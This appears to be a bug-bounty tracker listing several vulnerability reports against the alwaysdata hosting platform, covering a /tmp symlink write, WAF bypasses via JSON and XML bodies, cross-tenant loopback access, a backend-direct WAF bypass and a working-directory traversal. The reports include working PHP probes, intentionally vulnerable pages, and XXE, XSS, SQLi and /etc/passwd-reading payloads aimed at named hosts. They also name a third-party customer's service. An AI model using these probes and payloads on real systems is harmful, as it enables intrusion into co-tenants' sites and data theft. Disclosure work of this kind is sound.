|
455 | Cross-Tenant Write Primitive via World-Writable Shared ... | Closed | 19.08.2026 |
Task Description
Target: alwaysdata shared web node `http22` (185.31.41.42)
Severity: Medium
Class: CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)
Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Important Clarification Before Reading:
alwaysdata's bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is not about the known read-side exposure of `/tmp` (already tracked internally as FS#363 /389/393/417/418). This report documents a new and distinct primitive: a confirmed cross-tenant write capability via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.
—
## Summary:
On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant's PHP using only the standard library, it is possible to:
- create new files at predictable paths in the shared scratch space - pre-plant symlinks at predictable names that point to arbitrary files - write through a symlink to its target file
The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic CWE-377 symlink race: pre-plant a symlink at a predictable path that a victim tenant's application will later attempt to create — causing the victim app to either fail, follow the attacker's symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.
This write primitive is the new finding. The read side was already known and reported upstream.
—
## Reproduction Steps:
Upload the following self-contained PHP probe to any site on node `http22` and fetch it over HTTP. Uses only the PHP standard library — no extensions or special configuration required.
### Probe Code (PHP):
```php <?php $base = "/tmp/wafverify_" . getmypid(); 1. create a new file anywhere in /tmp @file_put_contents($base . ".txt", "cross-tenant-write-proof-" . date("c")); 2. create a symlink @symlink($base . ".txt", $base . ".lnk"); 3. write THROUGH the symlink (writes to the target file) @file_put_contents($base . ".lnk", "overwritten-via-symlink"); 4. show directory modes printf("perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n",
fileperms("/tmp"), fileperms("/var/tmp"), fileperms("/dev/shm"));
?> ```
### Exact Output (2026-08-18, tenant PHP on http22): ``` create /tmp file: OK size=50 create symlink: OK target=/tmp/wafverify_979432.txt write-through-symlink: OK bytes=23 real=overwritten-via-symlink perms: /tmp=1777 /var/tmp=1777 /dev/shm=1777 ```
—
## Additional Confirmed Observations:
Sticky-bit protection intact. Attempting to unlink, rename, or write to another tenant's existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.
Read side (already known). Other tenants' files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream ( FS#363 /389/393/417/418).
PHP sessions not affected. `session.save_path` is already per-tenant (`/home/<acct>/admin/tmp`), so session files cannot be hijacked via this vector.
MySQL `FILE` privilege — negative. No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.
`/proc` — negative. `hidepid` is set; only the tenant's own processes are visible.
—
## Impact:
A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant's application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.
Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.
Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.
—
## Ethical Disclosure:
All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant's existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.
—
## Recommendations:
- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and PHP session paths. - Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant's own `/home` tree, preventing any cross-tenant path collision. - For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.
—
## Relationship to Other Findings:
This finding chains with FINDING-5 (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_all_output.txt` | Live re-verification output (write, symlink creation, write-through, directory permissions) |
| `CHAIN.md FINDING-3` | Detailed write-up including all negative results |
|
|
454 | Per-Site WAF Partial Bypass: application/xml Bodies Onl ... | Closed | 19.08.2026 |
Task Description
Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)
Severity: Medium
Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage
Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Summary:
Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `<script>` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.
—
## Reproduction Steps:
Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.
—
## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):
### 1) XXE Declaration — passes as `application/xml` (HTTP 200)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/xml
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><q>&xxe;</q> ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: </h1></body>
```
The WAF does not reject the DOCTYPE/entity payload. In any application that actually parses XML, the entity would be resolved, leading to XXE file read or SSRF.
### 2) Embedded XSS `<script>` — passes as `application/xml` (HTTP 200)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/xml
<q><script>alert(1)</script></q> ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: </h1></body>
```
### 3) Literal SQLi — blocked as `application/xml` (control, HTTP 403)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/xml
<q>x' OR 1=1– -</q> ``` ``` HTTP/1.1 403 Forbidden Request was blocked by WAF. (Request ID: 60dbddb…) ```
### 4) `text/xml`
The same `<script>` payload sent with `Content-Type: text/xml` also passes with HTTP 200.
—
## Impact:
The WAF's XML inspection is inconsistent: literal SQLi is caught, but XXE/DOCTYPE declarations and XSS tags are not blocked. Any site that parses XML POST bodies — SOAP, RSS/Atom ingestion, config import, XML-RPC — behind `waf_profile` is exposed to XXE file read, SSRF, and XSS despite the WAF being active. Combined with FINDING-1, the WAF provides unreliable coverage for the two most common structured-body formats used by modern APIs.
—
## Recommendations:
- Apply the same inspection rules to XML bodies that are applied to URL-encoded bodies, including DOCTYPE/ENTITY/XXE signatures and embedded tag-based XSS patterns. - The safer long-term fix is to enforce safe XML parsing at the platform level — disabling external entity resolution at the framework layer — rather than relying on signature-based regex inspection alone. - Re-test the full matrix from FINDING-1 and this report after any change is applied.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_f1_f2.py` | Re-verification script; live output shown in PoC blocks above |
|
|
453 | Per-Site WAF Bypass: application/json POST Bodies Are N ... | Closed | 19.08.2026 |
Task Description
Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)
Severity: High
Class: CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage
Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Summary:
The alwaysdata per-site WAF decides whether to inspect an HTTP request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, SQL injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with HTTP 403.
This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.
—
## Affected Surface:
- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`). - Tested at `waf_profile = full` (strictest level) — bypass holds there. - Confirmed at both HTTP/1.1 and HTTP/2. - Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), OS command injection. - Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.
—
## Reproduction Steps:
1. Create any alwaysdata hosting account with a PHP site. 2. Enable the WAF: `PATCH https://api.alwaysdata.com/v1/site/<id>/` with body `{"waf_profile": "full"}` (Basic auth with account API token). 3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV. 4. Send the requests shown in the PoC section.
### Victim App — `vuln.php` (reflects parameter into HTML): ```php <?php $q = $_REQUEST['q']; header("Content-Type: text/html"); echo "
<body><h1>Search results for: $q</h1></body>
"; ?> ```
### Victim App — `read.php` (reads arbitrary file):
```php <?php $f = $_REQUEST['file']; header("Content-Type: text/plain"); echo @file_get_contents($f); ?> ```
—
## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):
### 1) Reflected XSS — passes as `application/json` (HTTP 200, script reflected unencoded)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"q":"<script>alert(1)</script>"} ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: <script>alert(1)</script></h1></body>
```
### 1b) Same payload — blocked as urlencoded (control, HTTP 403)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/x-www-form-urlencoded
q=%3Cscript%3Ealert(1)%3C%2Fscript%3E ``` ``` HTTP/1.1 403 Forbidden Request was blocked by WAF. (Request ID: b699a16…) ```
### 2) SQL Injection — passes as `application/json` (HTTP 200)
``` POST /vuln.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"q":"x' OR 1=1– -"} ``` ``` HTTP/1.1 200 OK
<body><h1>Search results for: x' OR 1=1-- -</h1></body>
```
Control urlencoded: HTTP 403.
### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (HTTP 200, full `/etc/passwd` returned)
``` POST /read.php HTTP/1.1 Host: regtest846.alwaysdata.net Content-Type: application/json
{"file":"/etc/passwd"} ``` ``` HTTP/1.1 200 OK root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin … ```
1764 bytes returned. Control urlencoded: HTTP 403.
### 4) Mechanism Proof — decision is header-only, not body content
Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.
### 5) HTTP/2
Same JSON-body requests over HTTP/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.
### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)
- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public API. - `sqli.php` implements an unsafe `WHERE username='$q'` blind boolean oracle. - A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass. - This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.
—
## Impact:
Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the "full" protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application's own defenses, but the WAF no longer adds any protection for JSON-bodied requests.
—
## Re-Test Matrix (Already Verified)
| Content-Type | XSS | SQLi | LFI | Result |
| — | — | — | — | — |
| `application/json` | 200 pass | 200 pass | 200 pass | BYPASS |
| `application/x-www-form-urlencoded` | 403 | 403 | 403 | Blocked |
| `application/xml` | 200 pass | 403 | n/a | Partial (see FINDING-2) |
| `text/xml` | 200 pass | — | — | Partial |
| `application/graphql` | 403 | — | — | Blocked (relabel to json = bypass) |
| All other CTs tested | 403 | 403 | 403 | Blocked |
—
## Recommendations:
- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header. - Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected. - If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass. - Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_f1_f2.py` | Re-verification script; live output shown in PoC blocks above |
| `rce_src_dump.txt` | LFI source disclosure of all webroot files (chains with this finding) |
| `blind_sqli_extract.py` | Automation-scale blind SQLi extractor |
| `waf_protocol_sweep.py` | HTTP/2 + GraphQL + smuggling protocol matrix |
| `waf_http2_smuggle.py` | HTTP/2 smuggling tests |
| `waf_h2json_gql.py` | GraphQL relabeling tests |
—
## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified): The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.
Backend listener mapped via LFI (`/home/<acct>/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:<addr>]:8080` with the site vhost (`DocumentRoot /home/<acct>/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.
### A/B Proof (WAF=full active, same requests, identical payloads):
| Request | Backend via ULA `fd00::7:<addr>:8080` | Public front (WAF=full) |
| — | — | — |
| `GET /index.html?q=<script>alert(1)</script>` | 200 OK (2419 B) | 403 Forbidden |
| `GET /index.html?q=x' OR 1=1–` | 200 OK (2419 B) | 403 Forbidden |
| `GET /.git/config` | 404 Not Found (normal handling) | 403 Forbidden |
### Impact Escalation:
FINDING-1's JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant's ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.
Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.
The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).
|
|
452 | FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ... | Closed | 19.08.2026 |
Task Description
Target: alwaysdata shared web node `http22` (185.31.41.42) Severity: High Class: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives
—
## Summary:
On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant's PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata's own internal infrastructure.
| Port | Service | Auth | Outcome |
| — | — | — | — |
| 7020 (bound 0.0.0.0) | Customer `fctv33` — "Partite ITA" Stremio sports addon (Node/Express) | None | Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable |
| 20717 | Streamed.pk HLS resolver (another tenant's app) | — | Reachable |
| 8083 | alwaysdata PowerDNS API | Basic-auth (realm "PowerDNS") | Reachable from tenant PHP |
| 8080 | alwaysdata internal API (X-API-Key) | 401 on POST / 404 on GET | Reachable from tenant PHP |
| 53 / 5199 / 8579 / 873 / 2049 / 22 / 111 | DNS / misc alwaysdata services | — | Reachable from tenant PHP |
The node's public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.
—
## Reproduction Steps:
Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.
### Probe Code (PHP): ```php <?php function b($port, $path) {
$s = @fsockopen("127.0.0.1", $port, $e, $es, 3);
if (!$s) return "closed";
$req = "GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n";
fwrite($s, $req);
$r = stream_get_contents($s, 4000);
fclose($s);
return $r;
} echo "– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n"; echo b(7020, "/manifest.json"); echo "\n– 127.0.0.1:7020 /debug/live\n"; echo b(7020, "/debug/live"); echo "\n– 127.0.0.1:8083 (PowerDNS API)\n"; echo b(8083, "/api/v1/servers"); echo "\n– 127.0.0.1:8080 (internal API)\n"; echo b(8080, "/"); ?> ```
### Exact Output (2026-08-18, tenant PHP on http22):
``` – 127.0.0.1:7020 (customer fctv33 Stremio addon) HTTP/1.1 200 OK {"id":"community.fctv33.sports.test","version":"0.5.8","name":"Partite ITA", "description":"Partite sportive live","logo":"https://www.fctv33hd.online/favicon.ico", "resources":["catalog","meta","stream"],"types":["tv"],"idPrefixes":["fctv:"], "catalogs":[{"type":"tv","id":"partite-ita-live","name":…
– 127.0.0.1:7020 /debug/live HTTP/1.1 200 OK {"ok":true,"apiBase":"https://apis-data-defra10.tcdru136ovur.ru","matches":6, "streamMarkers":6,"sample":[{"id":"fctv:2209841:4","matchId":"2209841", "sportType":"ST_BASEBALL","title":"Western Wolf Pack vs Southern Stingers", "league":"AWA Wiffle"},…
– 127.0.0.1:8083 (PowerDNS API) HTTP/1.0 401 Unauthorized Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline' Www-Authenticate: basic realm="PowerDNS" <h1>Unauthorized</h1>
– 127.0.0.1:8080 (internal API) HTTP/1.0 404 Not Found ```
### Signed Token Generation (port 7020):
A `GET /stream/tv/<id>.json` request to port 7020 returns a signed HLS URL in the following form:
``` https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=<JWT>&s=<sig> ```
Any co-tenant on the node can generate valid signed stream tokens for another customer's paid content service, replay those signed URLs, or consume that customer's bandwidth and quota — all without any authentication whatsoever.
—
## Impact:
Tenant-to-tenant isolation failure. Any customer's PHP running on a shared node can connect to other customers' loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.
alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.
The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.
—
## Ethical Disclosure:
I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata's own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.
alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.
—
## Recommendations:
Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A's context never routes to tenant B's services or to alwaysdata's internal services.
Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.
Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.
—
## Evidence Files:
| File | Contents |
| — | — |
| `verify_all_output.txt` | Live re-verification output (ports 7020, 8080, 8083) |
| `port8080_probe.txt` | First-discovery probe output for port 8080 |
| `tenantapp_7020.txt` | Port 7020 manifest and debug-live responses |
| `tenantapp_probe3.txt` | `/stream/tv/<id>.json` signed JWT output (token value redacted) |
| `CHAIN.md` | Full finding chain reference |
|
|
450 | Per-site WAF fully bypassable by any co-tenant — attack... | Assigned | |
Task Description
Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control
Verified: 2026-08-18, live re-test, zero false positives
Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain — Architecture — how the attack works ```
INTERNET
│
▼
┌─────────────────────────────┐
│ alproxy │
│ (nginx-based public front) │
│ │
│ ┌───────────────────────┐ │
│ │ per-site WAF runs │ │ ← waf_profile = full
│ │ HERE — XSS/SQLi/LFI │ │ blocks malicious
│ │ signatures, 403 │ │ payloads from internet
│ └───────────────────────┘ │
└──────────────┬──────────────┘
│ proxied request
▼
┌─────────────────────────────┐
│ Tenant Apache (origin) │
│ Listen [fd00::7:9184]:8080 │ ← no WAF here at all
│ DocumentRoot /home/acct/ │ no mod_security
│ FcgidWrapper php-cgi │ no SecRule
└─────────────────────────────┘
▲
│ direct TCP connection
│ (skips alproxy entirely)
┌─────────────────────────────┐
│ Attacker tenant PHP │
│ fsockopen( │
│ "[fd00::7:9184]", 8080) │ ← any co-tenant can do this
│ │ because bond0 is shared L2
└─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│ Tenant A fd00::7:8900:8080 ◄──┐ │
│ Tenant B fd00::7:8af6:8080 ◄──┤ attacker reaches │
│ Tenant C fd00::7:8e39:8080 ◄──┤ any of these │
│ Attacker fd00::7:9184:8080 │ directly via PHP │
│ ... 146 total listeners ... ◄──┘ fsockopen │
└──────────────────────────────────────────────────────────┘
``` The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant's PHP can reach any co-tenant's origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node. —
What I found:
When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:<suffix>:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account. The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant's PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant's ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed. The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine. —
How to reproduce:
You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled. Enable the WAF on the victim site: ``` PATCH https://api.alwaysdata.com/v1/site/<victim-site-id>/ Authorization: Basic <account-api-token> Content-Type: application/json
{"waf_profile": "full"} ``` Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential. — Live evidence — A/B differential (2026-08-18, waf_profile=full) I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three. Reflected XSS — via public front (WAF active): ``` GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1 Host: regtest846.alwaysdata.net
HTTP/1.1 403 Forbidden Request was blocked by WAF. (Request ID: badaac42-…) ``` Same payload — via co-tenant PHP directly to victim ULA backend: ``` GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1 Host: regtest846.alwaysdata.net
HTTP/1.1 200 OK Server: Apache Content-Length: 2419 (full page served, payload unblocked) ``` SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK. Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted. Results summary: ``` payload via ULA backend (no WAF) via public front (WAF=full) XSS HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden SQLi HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden /.git/config HTTP/1.1 404 Not Found HTTP/1.1 403 Forbidden ``` Origin Apache config — no WAF present: ``` /home/regtest846/admin/config/apache/apache.conf
Listen [fd00::7:9184]:8080
Include "sites.conf"
/home/regtest846/admin/config/apache/sites.conf
<VirtualHost *>
ServerName regtest846.alwaysdata.net
AddHandler fcgid-script .php
FcgidWrapper "/usr/bin/env ... /usr/bin/php-cgi" .php
DocumentRoot "/home/regtest846/www/"
</VirtualHost>
``` No mod_security, no SecRule, no WAF include anywhere in the origin config. — PoC script Drop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant's ULA suffix and $host with their public hostname. ```php <?php header("Content-Type: text/plain"); set_time_limit(120);
function http6($ip, $port, $path, $host) {
$s = @fsockopen("[$ip]", $port, $e, $es, 6);
if (!$s) return "CLOSED";
stream_set_timeout($s, 10);
fwrite($s, "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n");
$r = "";
while (!feof($s)) {
$c = fread($s, 8192);
if ($c === false || $c === "") break;
$r .= $c;
}
fclose($s);
return $r;
}
// replace these two values $victim = "fd00::7:XXXX"; $host = "VICTIM.alwaysdata.net";
$payloads = array(
"XSS" => "/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E",
"SQLi" => "/index.html?q=x%27%20OR%201%3D1--",
"path/.git" => "/.git/config",
);
echo "payload\t\t\tvia ULA backend\n"; echo str_repeat("-", 55) . "\n"; foreach ($payloads as $name ⇒ $path) {
$be = http6($victim, 8080, $path, $host);
$status = strtok($be, "\r\n");
echo str_pad($name, 16) . "\t$status\n";
} echo "\nNote: same payloads via public front all return 403.\n"; echo "Node context:\n"; echo "hostname: " . trim1) . "\n"; echo "our ULA: " . trim2) . "\n"; ?> ``` —
Impact:
The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants. An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable. The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass. —
How to fix this:
The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend. The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node. Both fixes independently break this chain. Ideally both are applied together. After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path. —
Evidence files:
The following evidence files are available and can be provided on request or via a support ticket per the program's private-information policy:
chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include
FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.
|
|
449 | Service Working Directory Path Traversal Allows Filesys ... | Closed | 19.08.2026 |
Task Description
## Description The Alwaysdata Service feature does not properly restrict the Working Directory to the user's authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.
The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.
## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal
## Steps to Reproduce 1. Log in to an Alwaysdata account. 2. Go to Services and create a new service. 3. Set the command to:
ls
4. Set the Working Directory to a traversal path that escapes the authorized directory.
../../ ../victim/www ../../root/
5. Start the service. 6. Open the service Logs. 7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user's authorized path.
For example, the service logs returned root-level directories including:
alwaysdata bin boot dev etc home lib lib32 lib64 media mnt nfs opt proc root run sbin srv sys tmp usr var
## Impact An authenticated user can bypass the intended Working Directory restriction and:
* Enumerate directories outside the authorized path. * Obtain filenames and directory names. * Determine whether specific filesystem paths exist. * Disclose filesystem structure through service logs.
The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.
## Actual Behavior The Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.
